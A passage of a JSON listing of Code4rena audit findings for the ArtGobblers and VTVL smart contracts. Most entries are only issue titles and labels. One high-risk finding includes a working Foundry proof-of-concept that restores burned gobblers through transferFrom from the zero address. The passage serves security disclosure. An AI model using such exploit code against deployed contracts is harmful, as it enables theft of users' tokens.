be minted. ## Tools Used Manual analysis ## Recommended Mitigation Steps Treat `2 ** 256 - 1` as infinity instead of `0`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/1", "labels": [], "target": "2022-09-vtvl-findings", "body": "Agreements & Disclosures"}, {"title": "`GobblerReserve.withdraw` can lock gobblers", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/480", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "`GobblerReserve.withdraw` can lock gobblers"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/477", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/474", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/466", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/464", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/460", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Incorrect Goo issuance", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/458", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "Incorrect Goo issuance"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/457", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/446", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/442", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/436", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/435", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/433", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/432", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/430", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/428", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/424", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/419", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/415", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/407", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "ArtGobblers.sol#L461 : Price of legendaryGobblerAuctionData.startPrice could be truncated due to incorrect typecasting.", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/403", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-artgobblers-findings", "body": "ArtGobblers.sol#L461 : Price of legendaryGobblerAuctionData.startPrice could be truncated due to incorrect typecasting."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/400", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "miss of ERC721 & ERC1155 validation in gobble() ", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/398", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "miss of ERC721 & ERC1155 validation in gobble() "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/397", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/396", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/395", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": " USE SAFETRANSFERFROM INSTEAD OF TRANSFERFROM FOR ERC720 TRANSFERS", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/391", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": " USE SAFETRANSFERFROM INSTEAD OF TRANSFERFROM FOR ERC720 TRANSFERS"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/386", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/384", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/381", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/379", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/373", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/367", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/364", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/359", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/356", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/344", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Wrong balanceOf user after minting legendary gobbler", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/333", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method", "selected-for-report"], "target": "2022-09-artgobblers-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L458 # Vulnerability details ## Impact In `ArtGobblers.mintLegendaryGobbler()` function, line 458 calculates the number of gobblers user owned after minting ```solidity // We subtract the amount of gobblers burned, and then add 1 to factor in the new legendary. getUserData[msg.sender].gobblersOwned = uint32(getUserData[msg.sender].gobblersOwned - cost + 1); ``` It added 1 to factor in the new legendary. But actually, this new legendary is accounted in `_mint()` function already ```solidity function _mint(address to, uint256 id) internal { // Does not check if the token was already minted or the recipient is address(0) // because ArtGobblers.sol manages its ids in such a way that it ensures it won't // double mint and will only mint to safe addresses or msg.sender who cannot be zero. unchecked { ++getUserData[to].gobblersOwned; } getGobblerData[id].owner = to; emit Transfer(address(0), to, id); } ``` So the result is `gobblersOwned` is updated incorrectly. And `balanceOf()` will return wrong value. ## Proof of Concept Script modified from `testMintLegendaryGobbler()` ```solidity function testMintLegendaryGobbler() public { uint256 startTime = block.timestamp + 30 days; vm.warp(startTime); // Mint full interval to kick off first auction. mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL()); uint256 cost = gobblers.legendaryGobblerPrice(); assertEq(cost, 69); setRandomnessAndReveal(cost, \"seed\"); uint256 emissionMultipleSum; for (uint256 curId = 1; curId <= cost; curId++) { ids.push(curId); assertEq(gobblers.ownerOf(curId), users[0]); emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId); } assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum); uint256 beforeSupply = gobblers.balanceOf(users[0]); vm.prank(users[0]); uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids); // Check balance assertEq(gobblers.balanceOf(users[0]), beforeSupply - cost + 1); } ``` ## Tools Used Foundry ## Recommended Mitigation Steps Consider remove adding 1 when calculating `gobblersOwned` ```solidity getUserData[msg.sender].gobblersOwned = uint32(getUserData[msg.sender].gobblersOwned - cost); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/331", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/328", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Possible centralization issue around RandProvider", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/327", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "selected-for-report"], "target": "2022-09-artgobblers-findings", "body": "Possible centralization issue around RandProvider"}, {"title": "use of transferFrom in the GobblerReserve can cause loss of NFTs", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/325", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "use of transferFrom in the GobblerReserve can cause loss of NFTs"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/324", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "selected-for-report"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/323", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "selected-for-report"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/311", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/306", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/292", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/290", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "The requestRandomSeed() function can be called more than once in 24 hours ", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/288", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "The requestRandomSeed() function can be called more than once in 24 hours "}, {"title": "Reveal feature halted. Unfair disadvantage for holders with unrevealed Gobblers", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/284", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "Reveal feature halted. Unfair disadvantage for holders with unrevealed Gobblers"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/282", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Miners can re-roll the Chainlink VRF output", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "Miners can re-roll the Chainlink VRF output"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/271", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/269", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/267", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/260", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/249", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/241", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/227", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/226", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/220", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "Can Recover Gobblers Burnt In Legendary Mint", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/219", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected-for-report"], "target": "2022-09-artgobblers-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L432 https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L890 # Vulnerability details ## Impact Allows users to mint legendary Gobblers for free assuming they have the necessary amount of Gobblers to begin with. This is achieved by \"reviving\" sacrificed Gobblers after having called `mintLegendaryGobbler`. ## Severity Justification This vulnerability allows the violation of the fundamental mechanics of in-scope contracts, allowing buyers to purchase legendary Gobblers at almost no cost outside of temporary liquidity requirements which can be reduced via the use of NFT flashloans. ## Proof of Concept (PoC): Add the following code to the `ArtGobblersTest` contract in `test/ArtGobblers.t.sol` and run the test via `forge test --match-test testCanReuseSacrificedGobblers -vvv`: ```solidity function testCanReuseSacrificedGobblers() public { address user = users[0]; // setup legendary mint uint256 startTime = block.timestamp + 30 days; vm.warp(startTime); mintGobblerToAddress(user, gobblers.LEGENDARY_AUCTION_INTERVAL()); uint256 cost = gobblers.legendaryGobblerPrice(); assertEq(cost, 69); setRandomnessAndReveal(cost, \"seed\"); for (uint256 curId = 1; curId <= cost; curId++) { ids.push(curId); assertEq(gobblers.ownerOf(curId), users[0]); } // do token approvals for vulnerability exploit vm.startPrank(user); for (uint256 i = 0; i < ids.length; i++) { gobblers.approve(user, ids[i]); } vm.stopPrank(); // mint legendary vm.prank(user); uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids); // confirm user owns legendary assertEq(gobblers.ownerOf(mintedLegendaryId), user); // show that contract initially thinks tokens are burnt for (uint256 i = 0; i < ids.length; i++) { hevm.expectRevert(\"NOT_MINTED\"); gobblers.ownerOf(ids[i]); } // \"revive\" burnt tokens by transferring from zero address with approval // which was not reset vm.startPrank(user); for (uint256 i = 0; i < ids.length; i++) { gobblers.transferFrom(address(0), user, ids[i]); assertEq(gobblers.ownerOf(ids[i]), user); } vm.stopPrank(); } ``` ## Tools Used Manual review. ## Recommended Mitigation Steps Ensure token ownership is reset in the for-loop of the `mintLegendaryGobbler` method. Alternatively to reduce the gas cost of `mintLegendaryGobbler` by saving on the approval deletion, simply check the `from` address in `transferFrom`, revert if it's `address(0)`. Note that the latter version would also require changing the `getApproved` view method such that it checks the owner of the token and returns the zero-address if the owner is zero, otherwise the `getApproved` method would return the old owner after the underlying Gobbler was sacrificed. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/207", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Zero Address/Value and Empty String/Bytes Checks When Deploying Contracts", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/198", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "Zero Address/Value and Empty String/Bytes Checks When Deploying Contracts"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/195", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "The reveal process could brick if `randProvider` stops working", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "edited-by-warden", "selected-for-report"], "target": "2022-09-artgobblers-findings", "body": "The reveal process could brick if `randProvider` stops working"}, {"title": "`mintLegendaryGobbler()` will always revert when the cost of minting is past a certain threshold due to exceeding block gas limit", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/151", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "`mintLegendaryGobbler()` will always revert when the cost of minting is past a certain threshold due to exceeding block gas limit"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "VRGDA auction breaks if buy pressure is too strong", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "VRGDA auction breaks if buy pressure is too strong"}, {"title": "Minting legendary gobblers not clearing burned gobblers emissionMultiple (and other properties)", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "Minting legendary gobblers not clearing burned gobblers emissionMultiple (and other properties)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "ArtGobblers.sol#gobblerPrice start price calculation from mintTime leading to excessively cheap gobblers at first", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "ArtGobblers.sol#gobblerPrice start price calculation from mintTime leading to excessively cheap gobblers at first"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-artgobblers-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "QA Report"}, {"title": "Authentication can be improved", "html_url": "https://github.com/code-423n4/2022-09-artgobblers-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-artgobblers-findings", "body": "Authentication can be improved"}, {"title": "QA Report", "html_url": 